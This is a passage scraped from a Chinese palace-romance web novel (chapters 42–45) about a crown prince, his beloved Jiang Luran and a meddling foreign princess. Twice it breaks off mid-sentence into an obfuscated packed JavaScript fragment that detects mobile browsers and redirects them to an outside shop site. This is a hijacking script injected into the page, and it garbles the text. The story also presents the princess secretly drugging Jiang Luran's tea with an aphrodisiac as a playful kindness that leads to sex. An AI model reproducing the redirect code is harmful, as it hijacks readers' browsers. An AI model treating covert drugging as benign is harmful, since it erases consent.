使臣急的要跺脚,小声道:“公主殿下,快些回来。” 久闻昌顺民风豪放,一国公主竟然混在使臣里,暗地里给自己相看夫婿,朝堂上已是满朝震惊。 且眼光还如此好,一眼就看中了大胤一向光风霁月的太子殿下。 殿中一时之间寂静下来,落针可闻。 青奚帝也没有想到昌顺的七公主此时就混在使臣中,且一上来就要和谢知寒成亲。 他一时之间也愣在原地,连手上的玉扳指都忘了转。 谢知寒稳稳坐于桌案之前,身形动也不动,似乎根本没被七公主惊世骇俗的话惊到,他不动声色看了一眼身后的江露染,趁众人不注意将江露染的手握在袖子里,轻轻地捏了捏。 而后对着面前的七公主缓缓开口,一字一句非常清晰:“恐怕要让公主失望了,孤已经名花有主。” 42. 第 42 章 谢知寒说完这句话,殿内更是鸦雀无声,朝臣面面相觑,谁也不敢开口,他们方才听到这位一向光风霁月,不沾俗世的太子殿下说什么。 名花有主。 这是什么时候的事情,东宫何时选了妃子,怎的没有一点消息,况且这还是形容女子的词汇吧。 怎的这位太子殿下竟然当着众人的面说的如此顺口。 知道些许的内情的臣子隐晦地望着一眼规矩站于谢知寒身后的少女,很快就将眼神收回来,他们可什么也不知道,什么也不知道。 青奚帝一时也静在原地,虽然他很是清楚谢知寒的性子,但还是没有想到他竟然就如此草率地拒绝了公主。 他以为那是谁,那可是昌顺国金尊玉贵的七公主。 他说拒就拒了,将昌顺国的脸面放在哪里。 青奚帝刚想呵斥一句放肆,就听到装扮成护卫的七公主抬起头来,面对着谢知寒,语气及其可惜。 “没有想到,本公主竟然是来晚了,真是太可惜了。” 说完就不再看谢知寒,转身向着青奚帝道:“陛下,两国联姻已是事实,既然这位太子殿下已经...”她顿了顿:“名花有主,那么陛下可要再为我挑选一位称心如意的夫君才是。” 她对着青奚帝竟然也不害怕,直直地望着他。 青奚帝本来还担心因为谢知寒无礼的行为,会引来七公主的怒意,从而导致两国联姻之事失败。 这时见七公主如此说,自然心中放松下来,他唇角蔓出一丝微笑。 “朕自然会为公主殿下另选一位合适的夫婿。” 但七公主想了想:“不行,陛下,既然是我的夫君,那我就要自己挑,陛下可同意?” 此话一出,殿内再次寂静了下来,使臣再次心急如焚,这个小祖宗,真是少说几句话吧,这里是大胤,不是昌顺。 青奚帝微微挑眉,这位七公主虽然言语极其大胆,但是他倒是还蛮欣赏她。 思索片刻,他到底还是同意了。 “好,就如公主所言,大胤所有男子皆可以由七公主挑选。” 青奚帝竟然同意了如此荒谬的请求,不要说使臣愣在原地,就连满堂朝臣都惊得张口,殿内再次静了下来。 今日到底是什么特殊的日子,竟然可以一而再,再而三地见到平日里绝对不会出现的场景。 难不成跟这几日的天象有关? 青奚帝命令礼部为昌顺使臣和七公主安排居住的寝殿,而后关怀了几句昌顺的国情,还问候了昌顺的国君,七公主都一一回答了。 觐见这才结束。 谢知寒随着朝臣一起退出了明光殿,江露染跟在他身侧,谢知寒依旧紧紧握着江露染的手,自从七公主过来时握住的,他就一直也没有松开过。 七公主古灵精怪,自然注意到了这一幕。 看来这位清冷矜贵的太子殿下就是被身边容颜姣好的少女捷足先登了,不过这位太子殿下竟然敢公然握着这少女的手,胆子还挺大的吗。 很快礼部就安排好了寝殿,七公主祝盈居住的披香殿就在东宫旁边。 谢知寒一路牵着江露染的手回去,甬道之上人逐渐少了,江露染想将自己的手抽回来,殿内人那么多,被发现了可如何是好。 谢知寒意识到她的企图,反而将她的手握的更紧了。 他是太子,晓晓将来会是名正言顺的太子妃。 太子牵着太子妃一起行走在宫闱之中,谢知寒并不觉得有什么不对。 既然抽不出来,只好任由他牵着自己的手回到明轩阁。 想到谢知寒在殿内说的那番话,江露染还是不由得感到羞涩。 明明那句名花有主是她用来哄骗殿下的信口开河,怎么最后殿下将这个词说了出来。 还当着那么多人的面。 “殿下以后不可以那么说。”江露染声音压的很低。 “嗯,晓晓说什么?”谢知寒佯装不知,偏要哄着她再说一遍。 “不可以在那么多人面前...语言不端。”她的声音越来越低。 谢知寒缓缓凑近她,几乎要贴近她的鼻尖,良久,他开口,声音有些沉:“孤知晓了,晓晓的话孤会听的。” “今天晓晓很乖。” 什么?江露染抬起头,望进身侧人的眼睛。 “晓晓今日没有看其他的男子,孤今天很高兴。” 殿下竟然还记得这茬,她都快忘了。 一想起七公主惊世骇俗的言语,江露染心中就有些不开心,酸酸的,有些胀,像是海边无尽的涨潮。 殿下差点就不是她的了。 看着江露染有些不高兴的面色,谢知寒越发栖近她,他身上清冷的檀香温柔地包裹住她。 “晓晓,这是吃醋了?”谢知寒的声音有些哑,也有些沉。 往日里都是自己吃醋,好不容易看到晓晓也吃醋一回,这场景不得不说,有些稀奇。 江露染看了他一眼,没有说话。 他长指抵住她的下巴,让她直视着自己,一字一句道:“晓晓怎么不回答孤?” 他明明知道自己心里在想什么,偏偏要自己说出来,殿下有点坏坏的。 但是他此时距离这么近,她几乎可以吻到他。 她可以清晰地闻到他身上的檀香,他的眼瞳是那样的温柔,他看着自己时她简直就要陷进去。 再也不要出来。 “我就是吃醋了,我不想...” "不想什么?"谢知寒循循善诱。 “我不想看到殿下娶别人,不想看到殿下看着别人。”江露染看着他的眼睛,将自己心中的想法全部说了出来。 谢知寒靠近她,贴着她的额,两个人几乎是呼吸相闻。 “晓晓知晓我当时重阳宴上心情了吗?”他的墨色瞳仁紧紧盯着她。 “嗯。”终于听到他想听的话。 晓晓也终于知晓那时自己的心情,有些发酸,有些嫉妒,心里叫嚣着这种感觉是不对的,要赶紧停下来,可是不行,他的心告诉他不想让晓晓看别人,只想让她时时刻刻眼睛里只有自己。 她是只属于他一个人的。 眼看着小姑娘眼瞳晶亮,一眨不眨地看着自己。 里面也充满了某种他很熟悉的占有欲,谢知寒心中终于满意了。 他紧紧拥着她的腰,缓声开口,声线沉沉:“孤不会给其他人这个机会,孤永远是晓晓的人,晓晓永远不可以抛下孤。” 说完,轻柔地稳住了她。 啧啧,明轩阁的屋顶上传来两声感叹,谁说大胤民风比较羞涩,这情话说的她自诩豪放听了也要脸红。 这太子殿下看上去倒也还算正经,怎么哄起小姑娘来倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009789|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此得心应手。 果然是人不可貌相。 祝盈再次发出感叹。 这对情人真是相爱,父皇一向说自己比较豪放,可能不得大胤人的喜爱,看来明日可以找这位“晓晓”姑娘取取经。 祝盈一个悬身就离开了明轩阁,回到披香殿,正好看到使臣。 使臣立刻知道七公主去做了什么,这里可不是昌顺,可不能纵容七公主妄为。 “公主殿下,这里可是大胤,千万要谨言慎行,谨言慎行啊公主殿下。” 来来回回都是说这么几句,她早就听烦了。 这么多年她都是这样的性子,不也一点事情也没有吗,这些人就是太杞人忧天了。 “知道了,知道了。”她捂着耳朵进了内殿。 次日,祝盈就穿戴整齐去了东宫,谢知寒此时去上早朝了,时机正好,反正她要拜访的人是“晓晓”姑娘,也不是什么太子殿下。 宫人自然拦不住这位来自异国金尊玉贵的公主殿下,祝盈一路畅通无阻来到了明轩阁。 江露染看到那张明艳的脸庞微微一愣,七公主,她怎么来这里了? 她立刻给七公主行礼,祝盈本来也就不在乎这些细枝末节,再说若是这位“晓晓”姑娘在自己面前出了什么事,那太子还不得来找她算账。 这点厉害关系她还是知道的。 她立刻扶起江露染:“你就是太子殿下口中捷足先登的晓晓姑娘?” 江露染更加疑惑,七公主是怎么知道这个称呼的。 祝盈对她眨眨眼:“我昨晚在明轩阁的屋顶上偷听到的,你不许告诉别人,这件事只有你一个人知道。” 昨天晚上,江露染顿时耳尖泛红,那昨天晚上那些话岂不是...岂不是全被公主听到了,这这这,这也太害羞了。 她情不自禁去握她的手:“公主殿下日后切忌不可再这样了...这这...于理不合。” 祝盈好奇地看着她害羞的脸颊,几乎要红的滴血。 这么害羞,两个人不会还没有那什么吧,他们相爱成这样,竟然彼此之间也能忍得住。 大胤果然还是有些拘束了。 她试探着去问江露染:“你和太子有没有那个?” 哪个?江露染不解。 祝盈轻咳一声,这在大胤怎么说来着,嗷,周公之礼,幸好她在出发前还翻了两眼大胤的书。 她缓缓凑近她,声音带着无数好奇。 “你们有没有行过周公之礼?” “公主你在说什么,这这切切不可胡言乱语,这句更是不符礼数,公主切莫再说了。” 江露染的脸颊更红了,说出口的话也带着点结巴。 看着她的样子,祝盈了然于胸。 “看样子你们好像还没有?” “公主!”这位公主自从昨日在殿中到现在一直都是,语不惊人死不休。 看着江露染害羞无比的模样,祝盈顺着她的话答:“好,我不说了。” 但是她这个人吧,就是喜欢乐于助人。 尤其是这种彼此相爱的小爱人。 趁着江露染不注意,祝盈在江露染茶杯中放了一枚药丸。 那药丸是她在昌顺偷偷找太医配的,对人体无害,专门用来夫妻之间调情所用。 若是服下,必须要行周公之礼才能解开。 43. 第 43 章 祝盈看着江露染饮下那杯茶,在心中道我也只能帮你们到这里了,而后对着江露染豪迈拜别,速度很快就出了明轩阁。 江露染望着七公主的背影,总觉得哪里怪怪的,今日七公主来的莫名,走的好似也有点莫名。 回想起祝盈的问话,江露染还真觉得这为来自昌顺的七公主性情果真是不拘小节。 一想到昨日与谢知寒的对话全被七公主听了去,江露染不觉还有些羞赧。 看来日后与殿下说话可得小点声。 江露染本来想翻翻菜谱,想研究一下京中最新出的菜式。 可是身上却逐渐蔓延出燥热,今日天气并不是很热,为何自己却这般反常,难道是今日自己穿的衣衫有些厚了? 可是不应当啊,昨日就是穿的这身,也不见浑身燥热,今日这是怎么了? 燥意从体内丝丝缕缕散发出来,就连喉咙都有些发干,江露染很想去饮一杯冷茶,刚从小榻上起来,就觉的腰部酸软,连带着一双腿也有点发软,几乎连路也要迈不稳。 明明从小榻到放置茶水的梨木圆桌也就几步路而已。 这很明显的不正常。 她方才什么都没有用,仅仅是喝了一杯茶。 可是那茶水中的茶叶都是自己泡的,方才也没有其他人在场,只有七公主。 她与七公主也不怎么熟识,七公主应当不会做什么手脚才是。 自己今日到底是怎么了? 逐渐的,身体上不仅传来燥热,头脑中也开始散发出昏沉,觉得自己身上好热,想要找个凉凉的东西抱一抱,就连自己身体上好像...也有一些不同寻常。 谢知寒来明轩阁的时候看到的就是这幅场景,他的晓晓扶着桌案一角,身体却摇摇欲坠,下一秒就要倒下来。 他疾步走到她身边,将她牢牢地抱在怀中,很快就觉察到怀中人的反常。 他接触到的皮肤有些不正常的发烫,连晓晓脸颊也染上一层不正常的红晕。 他急急去探她的脉搏,跳动频率却很正常。 他继而想去探她额上的温度,但是却被江露染突然伸出来的手打断。 她的手臂紧紧怀抱住他的颈,一双明亮如天上皎月的眼瞳一眨不眨地盯着他,但是她的眼神中看上去却并不那么清明。 而她缓缓开口说出的话也是吐气如兰,低声呢喃着好热。 “谁敢给你吃这些乱七八糟的东西。”谢知寒于宫闱之中长大,自然知晓怀中的少女经历了什么。 东宫的宫人他深知远没有这么大的胆子,看来只会是其他人。 这个人胆子未免太大。 谢知寒想去唤人叫太医,可是他才缓缓挪动了一小步,江露染却更紧地抱住他,不能让他挪动一丝一毫。 她的藕臂就那样挂在他肩上,柔若无骨。 他脖颈处被她手指碰到的皮肤也连带着发起热来,那一点热随着少女低声的呢喃蔓延至全身。 他突然觉得他有些走不动了。 可是不行,他和晓晓还没有成婚,他不可以这么做。 这样对他的晓晓不好。 他将她抱至床边,拉开了床上的帷幔,想将晓晓放在床上,谁知才刚弯了弯腰,就被江露染勾住脖颈一起倒了下来,她的眼瞳明亮至极,闪烁着晶晶亮的光芒,看着他的眼神也是一眨不眨。 与这样的眼神对视,谢知寒突然有些舍不得松开她。 想这样一直抱着她。 可是不行,晓晓这个样子,他可是正人君子,不能趁人之危。 他撑起一只手臂想从她身上起来,却很快却被她重新勾住,再次倒了下来。 她在她耳畔吐气如兰,耳尖的部位有些痒痒的。 “我好热,你不可以陪陪我吗?” 他的身上好凉快,还带着好闻的味道,想一直在他怀里,只是这个人怎么老想要将自己推开,不行,她不能让他走。 她得紧紧抱住他,让他哪里都不能去。 想着,她还在他怀中不轻不重地蹭了蹭。 谢知寒本来想将人放好,而后去唤太医,可是却被怀中的少女牢牢控制着,一点也动弹不得。 可是还不能伤了她,还真的是没有一点办法。 “晓晓,你乖乖在这里,等孤回来好不好?”慢慢地哄她。 “不好!”这个人声音也是那么好听,是她听过的最好听的声音。 “我一松开你,你就不知道去哪了。”她在他耳边低声呢喃,像是在抱怨。 江露染只觉身上越来越热,不自觉伸手将衣襟拉了拉,露出一段雪白的颈项,而顺着颈项向下隐约可以看到少女胸前的起伏。 她越发栖近他,轻轻稳住他的耳尖。 “我很热,你可以帮帮我吗?” 耳尖处很快散发出酥麻的感觉,那感觉很快蔓延至四肢百骸。 谢知寒本来以为自己可以抵挡的住,但此时看来方才还是做决定做早了。 关于晓晓的一切,他都控制不住。 眼看他这次没有推开自己,江露染越发的主动,她顺着他的耳尖一点点吻向他的侧脸,而后至他的唇瓣。 他的唇瓣很软,很甜,他的眼睛也是那么好看,像天上的星星。 江露染越发放肆,连带着她的手也不老实起来。 谢知寒很快认清现状,一把握住她在他身上点火的手,将她的手轻轻反握在床上,而后惩罚般吻了吻她的颈侧,满意地听到少女的嘤咛。 而后,他捏着她的下巴,迫使她看着自己,声音有点哑,尾音有些沉,很像他身上清冷的味道。 他一个字一个字地问她:“晓晓,知不知道孤是谁?” 江露染仔细盯了他一会儿,眼神中显露出些许迷茫,谢知寒心中不知为何有些紧张,连握着少女的手都有些用力,她手腕上微微显露出红痕。 若是她此时在他面前说出其他人的名字,若是她真的敢,谢知寒心中缓缓浮现出杀意。 江露染愣愣地盯了他一会儿,而后粲然一笑,恍然天边灿烂无比的云霞。 “我当然知道你是谁啦,你是太子殿下。” “太子殿下是谁?”他伸出手指轻轻触碰她的耳尖,非要逼她说出自己的名字不可。 “太子殿下...”少女一副陷入思考的模样,谢知寒的眼神重又显现出危险。 她的眼瞳再次闪亮,语言轻快自然:“太子殿下自然是谢知寒,你是谢知寒。” 她继续道:“你是知寒哥哥!” 终于得到他满意的回答,他的吻细密地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020025|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆了上来。 江露染轻声唔了一下,对比殿下的举动,她方才的撩拨简直就像闹着玩。 本来她是主动方,可是就在这一个吻后,她瞬间就变成了被动的那个。 她的一切举动都被殿下牵着走。 她的感官也被他清冷的檀香味严丝合缝地侵入,他的动作虽然轻柔,但是不容许她逃离一丝一毫。 她脑子虽然昏沉,可是仍然记得母亲说过做这样的事女孩子会很疼。 她还是忍不住向他求饶:“殿下,你一会儿可不可以轻一点。” 他百忙之中应付她一句:“晓晓应当唤孤什么?” 她迟钝的脑子转了转:“知寒哥哥,你一会儿可不可以轻一点?” 听闻她再次这样唤他,他的心非常满足,充满了巨大的喜悦。 他当然会轻一点,他舍不得看她痛苦。 江露染本来以为会很疼,但是没有,殿下他还是很温柔的。 她的一切都被他掌控,她的身体为他而打开,她像是一朵花,而他是浇灌自己的雨露。 整个过程并没有母亲所说的那样疼,反而还有一些舒适。 她也不知道过了多久,只知道自己实在是有些累了,浓重的睡意向她袭来。 她低声呢喃:“知寒哥哥,我有些累。”声音很低,像是在撒娇。 她实在受不了,最终还是闭上眼睛,入睡之前,她最后的记忆就是有人在她额上轻轻落下一个吻,轻柔但珍重至极。 谢知寒就这样静静陪在江露染身边,看着少女恬静的睡颜,她睡相很乖,一点也不像方才那般...热情。 他还是控制不住对着少女的脸颊亲了亲,这是他会一生放在心上的人,这是他的妻子。 他会一辈子不离开她,一辈子对她好。 永远不让她难过,永远爱她关心她,不让她受一点儿委屈,她是他心上的人。 谢知寒起身的时候,他的头发倾泻下来,与少女的青丝缠绕在一起,他愣怔一瞬,这就是结发之礼。 他和晓晓这辈子都会是夫妻,下辈子也会是,生生世世都会是。 他永远不会离开她。 除非她不要他。 谢知寒俯身将少女的青丝缠了一缕在自己的指间,即使她不要他,他也有办法将她追回来,他是她的,谁也不能将她从自己身边抢走。 江露染醒来的时候,已经是次日。 她浑身有些酸疼,头脑也有些晕晕沉沉的,待所有思绪回笼,她惊诧地睁开眼,她昨日都做了些什么? 七公主前来拜访,她走了之后她就浑身燥热,喝了好多凉茶也无济于事。 后来殿下好像回来了,她一下子就跑到殿下怀里,对他做了一些不太礼貌的举动。 后来他们就... 江露染一时无语,天哪,以后要怎么面对殿下,她真是没脸见人了。 正想着,有人掀开帘幔,寝殿内的阳光透了进来,周身充满了熟悉的清冷檀香。 想都不用想,就知道是殿下。 她立刻捂住被衾的边缘,想当一只鸵鸟。 然而,下一瞬就被人按住手指,谢知寒的声音清晰无比的传来。 “孤都是晓晓的人了,孤都不害羞,晓晓害羞什么?” 44. 第 44 章 江露染越发将自己掩进被衾中,殿下他怎么说起话来也这么不知羞。 难道七公主也将语不惊人死不休的语气传给了殿下。 想起七公主,江露染脑海中缓缓想起自己饮过的那盏茶,那时宫中并无其他人,若是自己和宫人都没有动手脚,那么那盏茶就是七公主动了。 可是,她为何要这么做。 江露染有些疑惑,谢知寒眼睁睁看着被衾中缩成的一小团动也不动,心中一紧:“晓晓?” 他缓缓拉下被衾,看到江露染仍旧晕染上薄红的脸颊,心中这才放松下来。 江露染缓缓转身,一双漆黑眼瞳看着谢知寒。 “殿下,我不是故意饮下那杯有问题的茶盏,殿下,我在想,可能是七公主做的。”她缓缓说出心中的想法,虽然这个想法有些莫名。 不是她自己做的,明轩阁的宫人似乎也没有这个胆子。 那么唯一剩下的人就是七公主。 可是没有证据,殿下会相信自己吗? 谢知寒握紧江露染的手指,她的手指细白,柔若无骨,谢知寒还能想到昨日这双手指抚在自己肩上的触觉,有些旖旎。 “孤相信晓晓所说。” 她是自己的妻子,自然她说什么他都会相信。 “可是七公主为何会这么做呢?” 晓晓才刚刚醒来,脸色看上去有些疲乏,此时却还在想什么七公主的事,简直就是在费心费神。 再说,自己就在晓晓面前,晓晓为何还要费心想其他人。 谢知寒长指抚过她的脸:“晓晓现在还有心情想其他人的事情,看来是孤昨日不够用心。” 他淡淡说出这句话,甚至面上的表情也是淡淡的。 江露染睁大眼睛看着谢知寒,殿下他又来,这是白日,被人听到了多么不好。 她羞得用手指握紧他的一片衣角:“殿下不许再胡说了。” 眼看他的晓晓不让自己再说,他缓声道:“好,孤全都听晓晓的。” 江露染微微动了动身,全身上下传来一阵酸疼,她非常轻微地皱了皱眉,谢知寒非常敏锐地注意到。 他立即揽住她的腰,不让她用一点力气。 想来昨日虽然有些克制,但对晓晓来说,还是有些重了。 “晓晓哪里不舒服?” 此时已经是白天,哪里还好意思谈论这些事情,江露染转头躲避话题:“殿下多虑了,我没有哪里不舒服。” 声音低低的,一听就是在骗人。 谢知寒长指抚过她的脸颊,将她的小脸转过来面对着自己,语气郑重无比:“晓晓,我们已经是夫妻,晓晓若是心里有话就应该告诉孤。” 夫妻。 江露染望着谢知寒,久久都没有说话。 “晓晓不讲话,难道是不想认孤这个夫君?”他顿了顿,继续缓声道:“可是怎么办,孤好像黏上晓晓了,孤这一生只会有晓晓一个妻子,晓晓若是不要孤,孤岂不是很可怜?” 她怎么会不要殿下。 殿下他是那么好的人。 江露染很想伸手去握紧他的手,告诉他她永远也不会离开他。 可是才刚刚抬起手指,就感受到一阵酸疼。 “晓晓哪里不舒服?” 江露染红着脸看了一眼谢知寒,殿下这个问题让她怎么好意思回答,且酸疼的地方还是那么私密。 谢知寒已经取了药膏来,正是那瓶太医精心调配的药膏。 这怎么可以,江露染手指接过瓷瓶,很是羞赧:“殿下,我自己来就可以了。” 谢知寒却没有将药瓶握的紧紧,意思非常明显。 “晓晓既然是孤的妻子,那孤为自己的妻子涂药难道不是天经地义之事?” “何况,这又不是第一次为晓晓涂药。” 江露染自然回想起从曲洲回京时她受伤,也是殿下涂的药,那时他们甚至还没有现在这般熟悉。 谢知寒已经将床边的帘幔放了下来,墨黑瞳孔中显现出不容置喙。 她实在是拗不过他。 谢知寒看到她白皙身体上留下的些许痕迹,是昨日他弄伤的,他心中懊悔不已,明明昨日说过会轻一点,不会弄疼她。 可还是让她伤到了。 他指尖轻点,悉数将药膏涂抹于患处,清凉的感觉传来,江露染瞬间感觉很舒服。 殿下他做这些事好像有点纡尊降贵,江露染突然不合时宜地想。 两个人一时之间谁也没有讲话,床榻之上很是安静,清苦的药香和清冷的檀香静静交织在一起。 谢知寒仔细将药膏涂抹好,为她穿好衣衫。 “晓晓,明年六月我们就成亲,晓晓愿意嫁给孤吗?” 他可以拿整个天下作为聘礼,只希望她同意成为自己的太子妃。 亦或是将来的皇后。 “殿下,这是在求娶吗?可是殿下的诺言太重,晓晓不敢要怎么办?”她的眼睛对着他俏皮地眨了眨。 眼看着谢知寒眉眼间逐渐氤氲出郁色,她很快开口:“殿下不逗你玩了。” “晓晓答应殿下,晓晓一定会陪在殿下身边。” “不离不弃。” * 祝盈再次来明轩阁拜访的时候已经是五日后。 她特意挑着谢知寒不在的时候来的,这个太子殿下看上去冷冷清清的,但祝盈知道若是被他知晓,她如此暗算了他的“晓晓”姑娘,这位太子殿下必定饶不了自己。 江露染一看到七公主,就想起上次的事,于是连茶水也未再饮了。 祝盈认真端详了一会儿江露染,江露染不自觉摸了摸自己的脸颊:“公主,我脸上有东西?” 祝盈摇了摇头,而后缓缓凑近她,脸上带着笑,眼睛亮亮的。 “江姑娘前几日与太子殿下过的可还好?”她终于忍不住心中的好奇,问了出来。 江露染很快反应过来,果然就是七公主搞得鬼,她就说怎么好端端的突然会失控,她立即拉住祝盈的手:“公主可千万不要再如此,这可真是于理不合,若是被他人知晓了,公主会被罚的。” 祝盈满不在乎,被罚这两个字她从小就在听,可也没见人对她真正罚过。 “那么你们有没有行周公之礼?”她的眼睛比方才还要亮。 眼看江露染越来越红的脸庞,祝盈很快什么都知晓了。 她安慰般抚了抚江露染的手,示意她不要害羞。 “日后你们若是成亲,可一定要让我做主桌。” “公主,不可胡言!” 祝盈敷衍面前的少女:“知道 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趁着昆德殿的守卫不注意,祝盈一个转身就寂静无声地溜进了昆德殿。 谢衡此时正躺在床上,衣衫不整,鬓发未梳,一副颓丧的模样。 听到房间内传来细微的响动,他也没有动身查看,想必是角落的耗子在动吧。 祝盈悄无声息走到床边,不动声色打量床上的男子。 “你就是谢衡?” 谢衡此时正在云游,忽然听见人声,自然是吓了一跳,他惊得一下就从床上起来。 看到一个身穿异族服饰的漂亮女子站在自己面前,容颜恍若神妃仙子。 谢衡扔掉手中的酒壶,眯了眯眼睛:“你是?” 祝盈自顾自找了个凳子坐下,神态有些傲气。 “本姑娘是昌顺七公主。” 昌顺。 谢衡再次眯了眯眼睛,以前倒是听父皇提起过这个名字,是大胤的附属国,大胤连年征战需要的粮草正是来自这个国家。 不知七公主来大胤做什么? 更重要的是,七公主为什么会偷偷来他这里,昆德殿已经被父皇命令禁止任何人不准入内。 “不知公主殿下来我这里所谓何事?” 祝盈静静看了他一会儿,面色颓败,胡须已经续的很长,衣服吗,看上去也已经很多天没有换过了。 而且还一身酒气。 这种样子怎么可能争的过光风霁月的谢知寒,简直就是没得比吗。 啧啧,祝盈摇着头叹息两句:“你比不过你兄长是很正常的,我觉得你应当要有一些自知之明。” “你!”这个自称是昌顺七公主的女人竟然敢在自己面前如此大放厥词,简直就是,就是太大胆了。 在宫中谁人不是言听计从,就是谢知寒见到自己也不敢如此说自己。 当然现在英雄落难了又是另外一回事。 但即便是他落难了,他也不容许这个身份奇怪的女子来随意诋毁自己,她说自己是昌顺七公主,那谁知道她说的是真的还是假的。 他也可以穿一身奇装异服说自己是昌顺七王子。 45. 第 45 章 “你说你是昌顺七公主你就是了?我凭什么相信你?” 祝盈一脸不可思议,自己原来在旁人眼中就是如此不可相信的模样,难道自己这幅模样长得竟然不像是个公主。 祝盈本来想发怒,但看着面前的谢衡一脸沧桑,全身上下都透露着两个字。 颓败。 这个人已经够运气不好了,她就暂时大度地原谅他眼神不好这件事吧。 谢衡早就注意到祝盈上下打量过来的眼神,那眼神中的意思非常明显,那就是赤裸裸的瞧不起,外加偏见,虽然他现在是落魄了不假,但是好歹他也是皇子。 他好歹也是谢氏皇族的一员,怎么可以容忍他人这样肆意地打量。 尤其面前的人还是个来历不明的姑娘。 “出去!”谢衡声音有些寒凉,里面不带一丝情绪。 祝盈可不怕他面无表情的模样,反而觉得他狐假虎威。 “出去就出去,你以为本公主喜欢在你这里待着?”说着,祝盈就站起身来。 这时,角落中突然传来一阵窸窸窣窣的声音,谢衡怔住,而后,缓缓向旁侧躲了一下,眼神还留意着祝盈有没有注意到他的动作,颇有些掩耳盗铃的感觉。 祝盈自然早就注意到他的举动,而后从角落中突然窜出一只老鼠,向着桌案的方向飞奔而来,谢衡此时早就躲得远远的,面部表情紧张至极。 眼看着那只老鼠飞奔的越来越快,越来越快,谢衡简直要叫出声来。 然而,下一刻那只飞奔的老鼠就被祝盈不知道从哪拿来的棒子一木棒敲死了,地板上只留下一只明显的老鼠的尸体。 动也不动,已然是死透了。 谢衡:... 空气一时安静片刻,谢衡这才意识到自己距离方才站着的地方已是十万八千里,抖了抖衣服,轻咳出声,像是在对着祝盈解释。 “我可没有害怕这只老鼠的意思,我就是害怕他跑的太快冲撞到我。” 祝盈没有说话,只是看着他,眼神中充满了戏谑,很明显就是不相信他的随口胡诌。 在谢衡即将发飙的前一秒,祝盈开口:“我也没有想到堂堂大胤的皇子,竟然胆量会如此之小,不过呢,我相信二皇子的为人,一定不会害怕一只老鼠,方才一定是我的问题。” 昆德殿此时并无旁人,空荡非常,祝盈的话就这样回荡在整个殿中,谢衡好像还听到了回音。 这个女人真的是,他才对她产生一点点好感,她就将那点好感完全拿了回来。 谢衡觉得她有点不知死活,可是此时他完全没有任何回击的资本,也只能站在原地任她奚落。 祝盈最后看了一眼站在原地,明显脸上带了点窘迫的谢衡,非常有礼貌地道,甚至还对他行了个大胤的礼。 而后一字一句道:“二皇子请随意,我就先走了。” 话音刚落,就听到一阵翻窗户的声音,而眼前的女子早就已经没有了踪迹。 侍卫听见异动,赶过来查看,看到昆德殿中并无旁人,他有些奇怪,明明方才听到窗户响,还隐隐约约听到有女子说话的声音,怎么此时什么也没看到呢? 可能是今晚自己酒喝多了,产生了幻觉,一定是这样,侍卫摇摇头走了。 谢衡看着方才祝盈站立过的地方,那里早已空无一人,可是空气中还弥散这她身上的香味,证明方才的一切不是他自己的臆想,而是她真的来过。 若她真是昌顺的七公主,那她来大胤的目的是什么? 总不会是深更半夜来找自己聊天。 谢衡躺在被衾中,没有那只老鼠的威胁,他躺的姿势很是肆意,不知不觉就进入到梦乡。 他梦到了很久很久之前的事情。 梦见了父皇和他的母后。 在他有记忆以来,父皇就一直非常宠爱李贵妃,让他以为父皇对自己的母后才是真正的恩爱,而对于那位早逝的先皇后,父皇不过是虚与委蛇罢了。 直到那日,他偶然听到父皇对着躺在他怀中早已睡熟的李贵妃唤了一声,阿芷。 阿芷。 他依稀记得,那位已故的先皇后名讳就是,梁芷。 他站在门外很久,月光将他的影子拉得很长很长,一点点倒映在冰凉的青石板路上。 他这时才知晓,父皇不是对李贵妃宠爱,他只是拿自己的母后视为先皇后的影子,或许在父皇心中,母后从来都没有用李贵妃的身份活过一天。 而他自己不也是吗? 父皇虽然嘴上说着,他是宫闱之中他最疼爱的孩子,可是谢衡从很小就知道,他不过就是太子皇兄的替身。 父皇从来不曾将他放入心中,将自己视为谢衡看待。 原来母后正处于和自己一模一样的境地。 但是凭什么,他和母后一样是人,也有人的情感,更有人的自尊。 凭什么父皇要将他们视作替身,这对母后和自己来说是一件很不公平的事。 几乎是从那一天起,他就变得很讨厌太子,这位处处都会压他一头的皇兄。 尽管他还记得在宫宴之上谢知寒还曾经将自己喜欢的糕点让给自己。 谢衡从睡梦中醒来,睁开眼睛望着自己面前的帐幔,早已破败不堪,不复以往的荣光。 他当初费劲心思与青莲教勾结是为了什么呢,他明明知道错其实不在于谢知寒。 而他却一心想要置这位一向目中无尘的兄长于死地。 谢衡非常清楚的明白,青奚帝无论如何眼中是不会有自己的,即使太子不在,他也不会顺遂自己的心愿。 而他的心愿,谢衡深重地叹息。 他的心愿又何曾是那个冷冰冰的皇位,他要的不过是真正属于母后和自己的尊严罢了。 他想要的不过是让青奚帝正视自己,不再将母后和他视为他人。 他想要的,不过就是这个罢了。 现在想想,当初与青莲教勾结当真是愚蠢至极,他自己也就罢了,还搭上了母后,当真是悔不当初。 谢衡就这样一直睁着眼睛望着帐幔,直到天彻底亮起来。 突然角落中又传来一阵窸窸窣窣的声音,谢衡定了定神,将自己从万千思绪中抽离出来。 他轻轻起身,果不其然就看到角落中又有一只老鼠 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江露染在他怀中思绪纷飞,忽而听到谢知寒问,声音满怀关心:“昨日的伤...还疼吗?” 